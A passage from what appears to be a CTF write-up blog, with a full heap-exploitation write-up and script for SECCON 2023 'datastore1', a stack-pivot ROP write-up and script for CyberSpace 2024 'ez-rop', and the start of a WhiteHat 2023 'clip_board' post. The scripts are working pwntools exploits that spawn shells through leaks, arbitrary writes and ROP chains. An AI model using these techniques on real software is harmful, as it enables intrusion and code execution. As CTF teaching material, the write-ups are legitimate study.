    r = edit(s, 25, payload)

    f = r.split(b'\n')[0]
    context.log_level ="DEBUG"
    log.success(f"flag : {f.decode()}")
    
    s.close()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()

    main(args.server, args.port, args.debug)

SECCON CTF 2023 Quals - datastore1

2024-10-04T00:00:00+00:00

0x00. Introduction

[*] '/home/user/datastore1'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Structure

typedef struct {
  type_t type;

  union {
    struct Array *p_arr;
    struct String *p_str;
    uint64_t v_uint;
    double v_float;
  };
} data_t;

typedef struct Array {
  size_t count;
  data_t data[];
} arr_t;

typedef struct String {
  size_t size;
  char *content;
} str_t;

The unusual way of storing data made it tricky to adapt to at first. Don’t overthink it - just think of it as storing data in data_t, using different storage methods depending on the data type.

Concept

➜  ./datastore1

MENU
1. Edit
2. List
0. Exit
> 1

Current: <EMPTY>
Select type: [a]rray/[v]alue
> a
input size: 4

MENU
1. Edit
2. List
0. Exit
> 2

List Data
<ARRAY(4)>
[00] <EMPTY>
[01] <EMPTY>
[02] <EMPTY>
[03] <EMPTY>

Based on input, you can freely store or query data in the heap.

0x01. Vulnerability

The vulnerability occurs when handling Array in the edit() function.

static int edit(data_t *data){
  ...
  switch(data->type){
    case TYPE_ARRAY:
      arr_t *arr = data->p_arr;

      printf("index: ");
      unsigned idx = getint();
      if(idx > arr->count)
        return -1;
      ...
  }
}

It verifies if the input idx value is greater than arr->count, but doesn’t verify when the two values are equal, causing OOB. For example, if arr->count is 4, data[0]~data[3] are created, but we can access non-existent data[4] to reach the area immediately after arr.

It’s surprising that shell can be spawned with such a simple vulnerability. Vulnerabilities should indeed be viewed from the perspective of finding bugs regardless of exploitability.

0x02. Exploit

Heap Leak

First, to trigger the vulnerability, we allocate Array as follows.

    edit(s, 'u', [], 'a', 1)
    edit(s, 'u', [0], 'a', 4)
    edit(s, 'u', [0, 0], 'a', 4)
    edit(s, 'u', [0, 1], 'a', 4)
    edit(s, 'u', [0, 2], 'a', 4)
    edit(s, 'u', [0, 3], 'a', 4)

Here, the list in the third argument of edit() represents the Array’s index. For example:

[] : root->*p_arr
[0] : [00]
[0, 1] : [00] -> [01]

Therefore, edit(s, 'u', [0, 1], 'a', 4) means “create an arr_t of length 4 at position [00] -> [01]”.

Creating data_t objects this way results in this memory layout.

# root : 0x5555555592a0
gef➤  x/2gx 0x5555555592a0
0x5555555592a0: 0x00000000feed0001      0x00005555555592c0
# []
gef➤  x/3gx 0x00005555555592c0
0x5555555592c0: 0x0000000000000001      0x00000000feed0001
0x5555555592d0: 0x00005555555592e0
# [0]
gef➤  x/9gx 0x00005555555592e0
0x5555555592e0: 0x0000000000000004      0x00000000feed0001
0x5555555592f0: 0x0000555555559330      0x00000000feed0001
0x555555559300: 0x0000555555559380      0x00000000feed0001
0x555555559310: 0x00005555555593d0      0x00000000feed0001
0x555555559320: 0x0000555555559420
# [0, 0]
gef➤  x/10gx 0x0000555555559330
0x555555559330: 0x0000000000000004      0x0000000000000000      # [0, 0, 0]
0x555555559340: 0x0000000000000000      0x0000000000000000      # [0, 0, 1]
0x555555559350: 0x0000000000000000      0x0000000000000000      # [0, 0, 2]
0x555555559360: 0x0000000000000000      0x0000000000000000      # [0, 0, 3]
0x555555559370: 0x0000000000000000      0x0000000000000051      # [0, 0, 4] < OOB
# [0, 1]
gef➤  x/9gx 0x0000555555559380
0x555555559380: 0x0000000000000004      0x0000000000000000
0x555555559390: 0x0000000000000000      0x0000000000000000
0x5555555593a0: 0x0000000000000000      0x0000000000000000
0x5555555593b0: 0x0000000000000000      0x0000000000000000
0x5555555593c0: 0x0000000000000000

We can see that heap allocates chunks consecutively, creating an adjacent memory structure for [0, 0] and [0, 1]. Using the OOB vulnerability to access non-existent [0, 0, 4] allows us to overwrite the 0x555555559378~0x555555559380 area.

0x555555559378 : [0, 1] chunk’s header
0x555555559380 : [0, 1]->count

Since the show() function references the object’s size and prints it with data_t->type, if we can write some address to count, leak is possible.

Current: <ARRAY(4)>
[00] <ARRAY(4)>
[01] <ARRAY(4)>
[02] <ARRAY(4)>
[03] <ARRAY(4)>

When allocating a new arr_t to [0, 0, 4], allocation occurs as follows.

0x555555559378 : [0, 1] chunk’s header -> data_t->type
0x555555559380 : [0, 1]->count -> data_t->*p_arr

However, when accessing [0, 0, 4], edit() calls the show() function to display the current data state.

static int edit(data_t *data){
  if(!data)
    return -1;

  printf("\nCurrent: ");
  show(data, 0, false);
  ...
}

At this point, data_t->type stores chunk size 0x51, which is undefined in type_t, causing show() to call exit().

static int show(data_t *data, unsigned level, bool recur){
  ...
  switch(data->type){
    case TYPE_EMPTY:
      puts("<EMPTY>");
      break;
    ...
    default:
      puts("<UNKNOWN>");
      exit(1);
  }
  return 0;
}

Therefore, before creating arr_t, we need to use delete in edit() to initialize the value interpreted as data_t->type to 0.

    # overwrite arr_t.count of [0, 1]
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 0, 4], 'a', 2)

After successfully overwriting, the new arr_t address is stored in the [0, 1]->count part, and we can output the value using show().

Heap Overflow

Now that heap leak is possible with arr_t, I attempted exploitation using the other structure str_t.

typedef struct String {
	size_t size;
	char *content;
} str_t;

I thought overwriting size and *content using OOB would enable arbitrary address read/write.

    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

Allocating str_t objects using the above payload results in this memory structure.

gef➤  x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004      0x0000000000000000      # [0, 3]
0x555555559430: 0x0000000000000000      0x0000000000000000
0x555555559440: 0x0000000000000000      0x0000000000000000
0x555555559450: 0x0000000000000000      0x0000000000000000
0x555555559460: 0x0000000000000000      0x0000000000000021
gef➤
0x555555559470: 0x0000000000000001      0x0000000000000000      # [0, 0, 4]
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0xaf03f4adbccb3443      # leftover buf
gef➤
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021 
0x555555559500: 0x0000000000000010      0x0000555555559490      # [0, 2, 0] ; "AAAA"

Even though we want to overwrite [0, 2, 0]’s size and *content using the OOB vulnerability, it doesn’t allocate in adjacent areas due to how create() receives input.

static int create(data_t *data){
  ...
  else {        // type == 'v'
    char *buf, *endptr;

    printf("input value: ");
    scanf("%70m[^\n]%*c", &buf);
    if(!buf){
      getchar();
      return -1;
    }
    ...
    str_t *str = (str_t*)malloc(sizeof(str_t));
    if(!str){
      free(buf);
      return -1;
    }
    str->size = strlen(buf);
    str->content = buf;
    buf = NULL;

    data->type = TYPE_STRING;
    data->p_str = str;
fin:
    free(buf);
  }
  return 0;
}

Looking at scanf(), it uses a pretty unfamiliar formatter. m is one of the GNU extension features that allocates heap memory to store input. Looking closely, it receives input in buf, puts the address in str->content, then calls free(). Since buf is set to NULL anyway, no actual freeing occurs.

Anyway, when executing scanf(), it allocates memory to receive 70 bytes, stores the input, then frees the remaining memory. Since this process uses heap, buf is allocated before str_t, preventing [0, 2, 0] from being allocated in an adjacent area. Therefore, we need to write the payload to free a chunk with the same chunk size as str_t and call create().

For this, when overwriting [0, 1]->count during heap leak, I created an object with arr_t->count of 1 at [0, 0, 4] so the chunk size becomes 0x20.

    # free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x30)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

After writing the payload this way, memory looks like this.

gef➤  x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004      0x0000000000000000      # [0, 3]
0x555555559430: 0x0000000000000000      0x0000000000000000
0x555555559440: 0x0000000000000000      0x0000000000000000
0x555555559450: 0x0000000000000000      0x0000000000000000
0x555555559460: 0x0000000000000000      0x0000000000000021
gef➤
0x555555559470: 0x0000000000000010      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0x5d50bdc37f682be0      # leftover buf
gef➤
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021
0x555555559500: 0x4242424242424242      0x4242424242424242      # [0, 2, 1]->content

Now [0, 2, 0] is allocated adjacent to [0, 3], enabling the OOB vulnerability.

    # now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
    edit(s, 'd', [0, 3, 4])
    edit(s, 'u', [0, 3, 4], 'v', 0x1000)

As in the payload above, accessing [0, 3, 4] and inputting 0x1000 to be interpreted as v_uint stores it in memory as follows.

gef➤  x/8gx 0x555555559460
0x555555559460: 0x0000000000000000      0x00000000feed0003
0x555555559470: 0x0000000000001000      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141

Since 0x1000 is written to the [0, 2, 0]->size area of the str_t structure, we can freely overwrite 0x1000 bytes starting from 0x555555559490, the address stored in *content, using this object.

Libc Leak

When solving the challenge, I thought “since heap overflow is possible, I should first overwrite chunk size to leak libc” without clear purpose, but…

“Since PIE and Full Relro is enabled, I should give up on GOT overwrite and leak libc -> leak stack to overwrite return address” seems like the correct chain of thought.

Anyway, I proceeded with libc leak using the technique of sending chunks to unsorted bin to store main_arena addresses. There were several conditions to meet, otherwise chunks wouldn’t be sent to unsorted bin.

chunk size must be 0x420 or larger
chunk must exist in next area (next_chunk)
next_chunk must not be top chunk

Especially if the thrid condition is not met, it just merges with top chunk and chunk is not sent to unsorted bin.

Looking at memory from the earlier heap overflow situation to meet conditions one by one:

gef➤  x/20gx 0x555555559470
0x555555559470: 0x0000000000001000      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0x2da0f37bfd770960
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021
0x555555559500: 0x4242424242424242      0x4242424242424242      # [0, 2, 1]->content
gef➤
0x555555559510: 0x0000000000000000      0x0000000000000051
0x555555559520: 0x000055500000c1e9      0x2da0f37bfd770960
0x555555559530: 0x0000000000000000      0x0000000000000000
0x555555559540: 0x0000000000000000      0x0000000000000000
0x555555559550: 0x0000000000000000      0x0000000000000000
0x555555559560: 0x0000000000000000      0x0000000000000021
0x555555559570: 0x0000000000000010      0x0000555555559500      # [0, 2, 1] ; "BBBB"
0x555555559580: 0x0000000000000000      0x0000000000000021
0x555555559590: 0x4343434343434343      0x4343434343434343      # [0, 2, 2]->content
0x5555555595a0: 0x0000000000000000      0x0000000000000051
gef➤
0x5555555595b0: 0x000055500000c079      0x2da0f37bfd770960
0x5555555595c0: 0x0000000000000000      0x0000000000000000
0x5555555595d0: 0x0000000000000000      0x0000000000000000
0x5555555595e0: 0x0000000000000000      0x0000000000000000
0x5555555595f0: 0x0000000000000000      0x0000000000000021
0x555555559600: 0x0000000000000010      0x0000555555559590      # [0, 2, 2] ; "CCCC"
0x555555559610: 0x0000000000000000      0x0000000000000021
0x555555559620: 0x0000000555555559      0x2da0f37bfd770960
0x555555559630: 0x0000000000000000      0x0000000000000051
0x555555559640: 0x000055500000c0e9      0x2da0f37bfd770960

I planned to change [0, 2, 2]’s chunk size to 0x421, free it, then after main_arena address is written, change [0, 2, 1]->*content to [0, 2, 2] address for output.

Considering chunk size overwrite and changing [0, 2, 1]->*content, I wrote the payload as follows. I wrote it to maintain the structure without touching other chunks, as touching them would cause errors in free().

    # overwrite chunk_size of [0, 2, 2] ("CCCC")
    payload = b"A" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += b"B" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += p64(0x10) + p64(heap + 0x600)    # set [0, 2, 1]->content to [0, 2, 2]
    payload += p64(0) + p64(0x21)
    payload += b"C" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x421)
    edit(s, 'u', [0, 2, 0], 'e', payload)

Now the payload to meet the second and third conditions is as follows.

    # align top chunk; nextchunk of 0x420 chunk should not be top chunk
    edit(s, 'u', [0, 2, 3], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
    edit(s, 'u', [0, 2, 3, 3], 'a', 0x1)        # next_chunk

Creating objects only up to [0, 2, 3, 2] makes [0, 2, 2]’s next_chunk the top chunk, so we must create [0, 2, 3, 3].

Current: <ARRAY(4)>
[00] <S> AAAAAAAAAAAAAAAA
[01] <S> \xe0\xac\xfa\xf7\xff\x7f
[02] <EMPTY>
[03] <ARRAY(16)>
index:

Stack Leak

With libc address, stack leak is possible using the environ variable.

    # arbitrary read (environ)
    payload = b"A" * 0xe0
    payload += p64(0x10) + p64(libc + lib.symbols['environ'])
    edit(s, 'u', [0, 2, 0], 'e', payload)

Earlier I wrote payloads matching chunk structure for allocation and freeing, but now that’s unnecessary - just match the offset with [0, 2, 1] for leak.

Ret Overwrite

Finally, I decided to overwrite the return address for RIP control. First, I set [0, 2, 1]->*content to point to the stack address storing main()’s return address. Then used gadgets in libc to set arguments and called system().

But I had to use the pop rdi; pop rbp gadget since stack address during syscall was not aligned.

    # arbitrary write (ret of main)
    payload = b"B" * 0xe0
    payload += p64(0x20) + p64(ret)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    pop_rdi_rbp = 0x2a745
    payload = p64(libc + pop_rdi_rbp)
    payload += p64(libc + next(lib.search(b"/bin/sh")))
    payload += b"C" * 8
    payload += p64(libc + lib.symbols['system'])
    edit(s, 'u', [0, 2, 1], 'e', payload)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "c471d11acd2a"
code_base = 0x555555554000
bp = {
    'ret_main' : 0x555555555418,
}

def edit(s, u_d, index, a_v='a', num=0):
    s.sendline(b"1")
    r = s.recvuntil(b">\n")
    if r.find(b"EMPTY") > 0:
        create(s, a_v, num)
    elif r.find(b"ARRAY") > 0:
        for c, i in enumerate(index):
            s.recvuntil(b"index: ")
            s.sendline(str(i).encode())
            s.recvuntil(b"> ")
            if c == len(index) - 1:
                if u_d == 'u':
                    s.sendline(b"1")
                if u_d == 'd':
                    s.sendline(b"2")
                    return s.recvuntil(b"\n> ")
            else:
                s.sendline(b"1")
        create(s, a_v, num)
    return s.recvuntil(b"\n> ")

def create(s, a_v, num):
    s.recvuntil(b"> ")
    if a_v == 'a':
        s.sendline(b"a")
        s.recvuntil(b"size: ")
        s.sendline(str(num).encode())
    elif a_v == 'v':
        s.sendline(b"v")
        s.recvuntil(b"value: ")
        s.sendline(str(num).encode())
    else:
        s.sendline(num)

def show(s):
    s.sendline(b"2")
    r = s.recvuntil(b"Exit\n> ")
    return r

gs = f'''
b *{bp["ret_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    log.info(f"root : 0x5555555592a0")
    
    s.recvuntil(b"Exit\n> ")

    edit(s, 'u', [], 'a', 1)
    edit(s, 'u', [0], 'a', 4)
    edit(s, 'u', [0, 0], 'a', 4)
    edit(s, 'u', [0, 1], 'a', 4)
    edit(s, 'u', [0, 2], 'a', 4)
    edit(s, 'u', [0, 3], 'a', 4)
    
    # overwrite arr_t.count of [0, 1]
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 0, 4], 'a', 1)
    
    # heap leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")      # invalid index to return menu
    
    heap = int(r.split(b"ARRAY(")[3].split(b")>")[0]) - 0x470
    log.info(f"heap : {hex(heap)}")

    # free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

    # now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
    edit(s, 'd', [0, 3, 4])
    edit(s, 'u', [0, 3, 4], 'v', 0x1000)

    # align top chunk; nextchunk of 0x420 chunk should not be top chunk
    edit(s, 'u', [0, 2, 3], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
    edit(s, 'u', [0, 2, 3, 3], 'a', 0x1)        # next_chunk

    # overwrite chunk_size of [0, 2, 2] ("CCCC")
    payload = b"A" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += b"B" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += p64(0x10) + p64(heap + 0x600)    # set [0, 2, 1]->content to [0, 2, 2]
    payload += p64(0) + p64(0x21)
    payload += b"C" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x421)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    # move [0, 2, 2] ("CCCC") to unsorted bin
    edit(s, 'd', [0, 2, 2])
    
    # libc leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"index: ", b"2")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")      # invalid index to return menu

    libc = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00") - 0x21ace0
    log.info(f"libc : {hex(libc)}")

    # arbitrary read (environ)
    payload = b"A" * 0xe0
    payload += p64(0x10) + p64(libc + lib.symbols['environ'])
    edit(s, 'u', [0, 2, 0], 'e', payload)
    
    # stack leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"index: ", b"2")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")

    stack = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00")
    log.info(f"stack : {hex(stack)}")
    ret = stack - 0x120

    # arbitrary write (ret of main)
    payload = b"B" * 0xe0
    payload += p64(0x20) + p64(ret)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    pop_rdi_rbp = 0x2a745
    payload = p64(libc + pop_rdi_rbp)
    payload += p64(libc + next(lib.search(b"/bin/sh")))
    payload += b"C" * 8
    payload += p64(libc + lib.symbols['system'])
    edit(s, 'u', [0, 2, 1], 'e', payload)

    # exit
    s.sendline(b"0")

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

CyberSpace CTF 2024 - ez-rop

2024-09-15T00:00:00+00:00

0x00. Introduction

[*] '/home/user/ez-rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

0x01. Vulnerability

char *sub_401192()
{
  char s[96]; // [rsp+0h] [rbp-60h] BYREF

  return fgets(s, 116, stdin);
}

A simple BOF occurs, but since 0x60 bytes are used to fill s, there’s almost no stack that can be constructed after return.

0x02. Exploit

Fake Stack

Since we can’t do anything even with immediate rip control using the vulnerability, I looked for an area where payloads could be constructed.

gef➤  vmmap
[ Legend:  Code | Stack | Heap ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /home/user/chall
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /home/user/chall
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /home/user/chall
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /home/user/chall
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /home/user/chall
...

Since PIE is disabled, the DATA region address 0x404000 is fixed. As sub_401192() executes leave; ret when terminating, putting roughly 0x404800 (around the middle) in sfp allows manipulating rsp to that value.

Now we need to pass rsp as an argument to the read function, but there were no usable gadgets. Instead, I could pass the value by utilizing the fact that rdi’s value is set through rax and rbp during the fgets input process.

.text:0000000000401192                 push    rbp
.text:0000000000401193                 mov     rbp, rsp
.text:0000000000401196                 sub     rsp, 60h
.text:000000000040119A                 mov     rdx, cs:stdin   ; stream
.text:00000000004011A1                 lea     rax, [rbp-60h]
.text:00000000004011A5                 mov     esi, 74h ; 't'  ; n
.text:00000000004011AA                 mov     rdi, rax        ; s
.text:00000000004011AD                 call    _fgets
.text:00000000004011B2                 xor     rdx, rdx
.text:00000000004011B5                 nop
.text:00000000004011B6                 leave
.text:00000000004011B7                 retn

So I wrote the payload as follows.

    # fgets(0x4047a0, 0x74, stdin)
    payload = b"A" * 0x60
    payload += p64(0x404800)                # rbp = 0x404800
    payload += p64(0x401196)                # middle of fgets
    payload += b"\x00\x00\x00"              # dummy
    
    s.send(payload)
    sleep(0.5)

Return Oriented Programming

Now we need to spawn shell using the payload. While there weren’t many pop gadgets, IDA revealed most of gadgets removed and the challenge intended solution using these four gadgets.

# mov rdi, rsi gadget
.text:0000000000401156                 push    rbp
.text:0000000000401157                 mov     rbp, rsp
.text:000000000040115A                 mov     rdi, rsi
.text:000000000040115D                 retn

# pop rbp gadget
.text:000000000040115F                 pop     rbp
.text:0000000000401160                 retn

# pop rsi gadget
.text:0000000000401161                 push    rbp
.text:0000000000401162                 mov     rbp, rsp
.text:0000000000401165                 pop     rsi
.text:0000000000401166                 retn

# read(0, buf, 8) gadget
.text:000000000040116A                 push    rbp
.text:000000000040116B                 mov     rbp, rsp
.text:000000000040116E                 sub     rsp, 10h
.text:0000000000401172                 lea     rax, [rbp-8h]
.text:0000000000401176                 mov     edx, 8          ; nbytes
.text:000000000040117B                 mov     rsi, rax        ; buf
.text:000000000040117E                 mov     edi, 0          ; fd
.text:0000000000401183                 call    _read
.text:0000000000401188                 xor     rdx, rdx
.text:000000000040118B                 xor     rax, rax
.text:000000000040118E                 retn

Unusually, there was a read gadget. Similar to fgets, the value of rbp minus 8 is passed to rsi through rax. Since rbp can be manipulated using the pop rbp gadget, we just need to set the rbp value by adding 8 to the input address, considering the lea rax, [rbp-8h] instruction.

To avoid changing the manipulated rsp value, I configured the payload to jump directly to the middle address 0x401172 of the read gadget.

    # read(0, alarm.got, 8) ; alarm.got = 0x404008
    # rdi = 0, rsi = alarm.got, rdx = 8
    payload = p64(elf.got['alarm'] + 8)     # alarm.got + 8
    payload += p64(0x401172)                # middle of read

I decided to write a value to alarm’s GOT because there are no printing functions to leak libc, so I needed to find the function closest to execve for partial overwrite. “Closest” means the smallest offset difference, and overwriting the GOT of a close function maximizes exploitation probability under ASLR.

After this, we just need to write "/bin/sh\x00" to any memory and use gadgets to pass it as execve function arguments.

    # read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
    pop_rbp = 0x401168
    payload += p64(pop_rbp)
    payload += p64(0x404908)                # 0x404900 + 8
    payload += p64(0x401172)
    
    # execve("/bin/sh", 0, 0)
    # rdi = 0x404900, rsi = 0, rdx = 0
    mov_rdi_rsi = 0x40115a
    pop_rsi = 0x401165
    payload += p64(mov_rdi_rsi)
    payload += p64(pop_rsi)
    payload += p64(0)
    payload += p64(elf.plt['alarm'])

    payload += b"B" * (0x60 - len(payload))
    payload += p64(0x4047a0)
    payload += p64(0x401190)
    payload += b"\x00\x00\x00"
    log.info(f"payload len : {hex(len(payload))}")

    s.send(payload)
    sleep(0.5)

Come to think of it, I could just input sh; to the last 3 bytes at the point of fgets and pass the address.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc-2.31.so"
CONTAINER = "44c6741a4dc0"
bp = {
    'main' : 0x4011B8,
    'leave_after_fgets' : 0x4011b6,
    'ret_after_fgets' : 0x4011B7,
}

gs = f'''
b *{bp["leave_after_fgets"]}
b *{0x401183}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    # fgets(0x4047a0, 0x74, stdin)
    payload = b"A" * 0x60
    payload += p64(0x404800)                # rbp = 0x404800
    payload += p64(0x401196)                # middle of fgets
    payload += b"\x00\x00\x00"              # dummy
    
    s.send(payload)
    sleep(0.5)

    # read(0, alarm.got, 8) ; alarm.got = 0x404008
    # rdi = 0, rsi = alarm.got, rdx = 8
    payload = p64(elf.got['alarm'] + 8)     # alarm.got + 8
    payload += p64(0x401172)                # middle of read

    # read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
    pop_rbp = 0x401168
    payload += p64(pop_rbp)
    payload += p64(0x404908)                # 0x404900 + 8
    payload += p64(0x401172)
    
    # execve("/bin/sh", 0, 0)
    # rdi = 0x404900, rsi = 0, rdx = 0
    mov_rdi_rsi = 0x40115a
    pop_rsi = 0x401165
    payload += p64(mov_rdi_rsi)
    payload += p64(pop_rsi)
    payload += p64(0)
    payload += p64(elf.plt['alarm'])

    payload += b"B" * (0x60 - len(payload))
    payload += p64(0x4047a0)
    payload += p64(0x401190)
    payload += b"\x00\x00\x00"
    log.info(f"payload len : {hex(len(payload))}")

    s.send(payload)
    sleep(0.5)

    # read(0, alarm.got, 8)
    payload = b"\x80\xb0"
    # payload = b"\x80\x50"
    s.send(payload)
    sleep(0.5)

    # read(0, 0x404900, 8)
    payload = b"/bin/sh\x00"
    s.send(payload)
    sleep(0.5)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

WhiteHat Contest 2023 Quals - clip_board

2024-08-30T00:00:00+00:00

0x00. Introduction

[*] '/home/user/clip_board'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Concept

int __fastcall main(int argc, const char **argv, const char **envp)
{
  ...
  v3 = malloc(0x20uLL);
  printf("heap leak: %p\n\n", v3);
  do
  {
    Menu();
    choice = get_int();
    switch ( choice )
    {
      case 1:
        AddClipboard();
        break;
      case 2:
        DelClipboard();
        break;
      case 3:
        ViewClipboard();
        break;
      case 4:
        exit = 1;
        break;
    }
  }
  while ( !exit );
  return 0;
}

Three functions AddClipboard(), DelClipboard(), and ViewClipboard() are implemented based on heap. Conveniently, it prints one heap address, so we don’t need to leak heap separately.

Global Variables

char *chunk_list[10];
char check_chunk_list[10];      // size = 16
int chunk_size_list[10];

For example, when executing AddClipboard() and inputting i for index, these values are set in the above structures.

chunk_list[i] : malloc(size)
check_chunk_list[i] : 1
chunk_size_list[i] : size

Note that check_chunk_list is allocated 16 bytes, perhaps due to alignment.

0x01. Vulnerability

int ViewClipboard()
{
  ...
  printf("index > ");
  index = get_int();
  if ( index <= 9 )
  {
    check = check_chunk_list_4090[index];
    if ( check )
    {
      ptr = chunk_list_4040[index];
      size = chunk_size_list_40A0[index];
      if ( ptr )
      {
        if ( size <= 0x100 )
          return write(1, ptr, size);
      }
    }
